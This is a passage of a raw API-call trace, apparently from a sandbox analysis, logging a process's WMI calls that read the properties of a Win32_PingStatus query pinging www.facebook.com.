wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be878*=0, plFlavor=0x22be87c*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be878*=19, plFlavor=0x22be87c*=0) returned 0x0 [0140.481] IWbemClassObject:Get (in: This=0x5c50300, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be878*=19, plFlavor=0x22be87c*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be878*=19, plFlavor=0x22be87c*=0) returned 0x0 [0140.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0140.481] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0140.481] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.481] IWbemClassObject:Get (in: This=0x5c50300, wszName="StatusCode", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be90c*=0, plFlavor=0x22be910*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be90c*=19, plFlavor=0x22be910*=0) returned 0x0 [0140.482] IWbemClassObject:Get (in: This=0x5c50300, wszName="StatusCode", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be90c*=19, plFlavor=0x22be910*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be90c*=19, plFlavor=0x22be910*=0) returned 0x0 [0140.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0140.483] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0140.483] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.483] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bee08*=0, plFlavor=0x22bee0c*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bee08*=8, plFlavor=0x22bee0c*=64) returned 0x0 [0140.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.484] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bee08*=8, plFlavor=0x22bee0c*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bee08*=8, plFlavor=0x22bee0c*=64) returned 0x0 [0140.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.484] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.484] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0140.484] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0140.484] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.484] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22beea4*=0, plFlavor=0x22beea8*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22beea4*=8, plFlavor=0x22beea8*=64) returned 0x0 [0140.484] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.484] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.484] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22beea4*=8, plFlavor=0x22beea8*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22beea4*=8, plFlavor=0x22beea8*=64) returned 0x0 [0140.484] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.484] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.484] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0140.484] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0140.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.485] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf000*=0, plFlavor=0x22bf004*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c586b8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bf000*=8200, plFlavor=0x22bf004*=64) returned 0x0 [0140.485] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf000*=8200, plFlavor=0x22bf004*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c586b8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bf000*=8200, plFlavor=0x22bf004*=64) returned 0x0 [0140.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0140.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0140.486] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.486] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf268*=0, plFlavor=0x22bf26c*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bf268*=8, plFlavor=0x22bf26c*=64) returned 0x0 [0140.486] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.486] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.486] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf268*=8, plFlavor=0x22bf26c*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bf268*=8, plFlavor=0x22bf26c*=64) returned 0x0 [0140.486] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.486] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.486] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0140.486] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0140.486] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.486] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf390*=0, plFlavor=0x22bf394*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c586b8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bf390*=8200, plFlavor=0x22bf394*=64) returned 0x0 [0140.486] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bf390*=8200, plFlavor=0x22bf394*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c586b8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bf390*=8200, plFlavor=0x22bf394*=64) returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0140.489] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.489] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e928*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e91c | out: pNames=0x572e91c*="\x01ƀ\x04") returned 0x0 [0140.489] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.490] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.490] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e7b4 | out: plLbound=0x572e7b4) returned 0x0 [0140.490] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.490] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.490] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.490] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.490] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.490] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.490] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.490] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.490] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.490] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.490] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.490] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.490] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.490] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.490] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.490] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.490] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.490] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.490] SysStringByteLen (bstr="__PATH") returned 0xc [0140.490] SysStringByteLen (bstr="__PATH") returned 0xc [0140.491] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0bd0*=0, plFlavor=0x22c0bd4*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22c0bd0*=3, plFlavor=0x22c0bd4*=64) returned 0x0 [0140.491] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0cd8*=0, plFlavor=0x22c0cdc*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22c0cd8*=8, plFlavor=0x22c0cdc*=64) returned 0x0 [0140.491] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.491] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.491] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0d6c*=0, plFlavor=0x22c0d70*=0 | out: pVal=0x572e918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0d6c*=8, plFlavor=0x22c0d70*=64) returned 0x0 [0140.491] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0e30*=0, plFlavor=0x22c0e34*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22c0e30*=8, plFlavor=0x22c0e34*=64) returned 0x0 [0140.491] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.491] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.491] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c0ec4*=0, plFlavor=0x22c0ec8*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22c0ec4*=8, plFlavor=0x22c0ec8*=64) returned 0x0 [0140.492] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.492] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.492] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c110c*=0, plFlavor=0x22c1110*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22c110c*=3, plFlavor=0x22c1110*=64) returned 0x0 [0140.492] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1254*=0, plFlavor=0x22c1258*=0 | out: pVal=0x572e918*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c586b8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22c1254*=8200, plFlavor=0x22c1258*=64) returned 0x0 [0140.492] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c12c4*=0, plFlavor=0x22c12c8*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22c12c4*=8, plFlavor=0x22c12c8*=64) returned 0x0 [0140.492] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.492] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.492] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c134c*=0, plFlavor=0x22c1350*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22c134c*=8, plFlavor=0x22c1350*=64) returned 0x0 [0140.492] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.492] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.493] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1420*=0, plFlavor=0x22c1424*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22c1420*=8, plFlavor=0x22c1424*=64) returned 0x0 [0140.493] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.493] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0140.493] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0140.493] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0140.493] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0140.493] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.493] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x572e964*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e958 | out: pNames=0x572e958*="\x01ƀ\x04") returned 0x0 [0140.493] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.493] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.493] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e7f0 | out: plLbound=0x572e7f0) returned 0x0 [0140.493] SysStringByteLen (bstr="Address") returned 0xe [0140.493] SysStringByteLen (bstr="Address") returned 0xe [0140.493] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.493] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.493] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.493] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.494] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.494] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.494] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.494] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.494] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.494] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.494] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.494] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.494] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.494] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.494] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.494] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.494] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.494] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.494] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.494] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.494] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.494] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.494] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.494] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.494] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.494] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.494] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.494] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.494] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.494] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.494] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.494] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.495] SysStringByteLen (bstr="Timeout") returned 0xe [0140.495] SysStringByteLen (bstr="Timeout") returned 0xe [0140.495] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.495] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.495] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.495] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.495] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.495] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.495] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.495] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.495] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.495] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.495] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.495] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.495] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1b80*=0, plFlavor=0x22c1b84*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22c1b80*=8, plFlavor=0x22c1b84*=0) returned 0x0 [0140.495] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.495] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.495] IWbemClassObject:Get (in: This=0x5c50300, wszName="BufferSize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1c14*=0, plFlavor=0x22c1c18*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22c1c14*=19, plFlavor=0x22c1c18*=0) returned 0x0 [0140.496] IWbemClassObject:Get (in: This=0x5c50300, wszName="NoFragmentation", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1c84*=0, plFlavor=0x22c1c88*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1c84*=11, plFlavor=0x22c1c88*=0) returned 0x0 [0140.496] IWbemClassObject:Get (in: This=0x5c50300, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 